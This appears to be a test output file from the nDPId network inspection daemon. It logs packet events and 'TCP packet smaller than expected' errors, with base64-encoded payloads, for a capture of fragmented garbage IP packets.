-00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778129} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778139} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":6390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAi8udGdmdGc\/R1I\/R1I\/c1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778148} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAj83NDgzOTYpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778159} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAiFAIyQlXiYqKCkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778171} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAiNAIyQlXiYqKComXiUkIyY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778215} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiooS0lKSEdGRDIqJkRGR0g="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778225} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAkpLJl4lJCMjRVRSJVleVSY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778234} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAkkqT1B7IjpoZGZsa2RhPkw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778245} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAjxNTkJIR0ZERVcjQCQlXkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778255} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAkJHVgo0MjE0NjMxOTgyMDU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778265} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjEpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778274} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAigqJl4lJCNyc2RsdWhna2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778284} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAmRzYmtudmMvLnRnZnRnP0c="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778294} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":6402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAlI\/R1I\/c1I\/NzQ4Mzk2KSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778303} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiomXiUkI0AhQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778313} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778322} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778335} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778345} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778354} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778364} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778369} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778382} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778391} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778401} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778410} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778421} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778431} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778440} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778449} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778459} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778469} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778481} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778491} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778500} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778510} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778520} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778529} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778540} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778549} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778561} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6429,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778571} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6430,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778581} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6431,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030777079,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6432,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030778590} 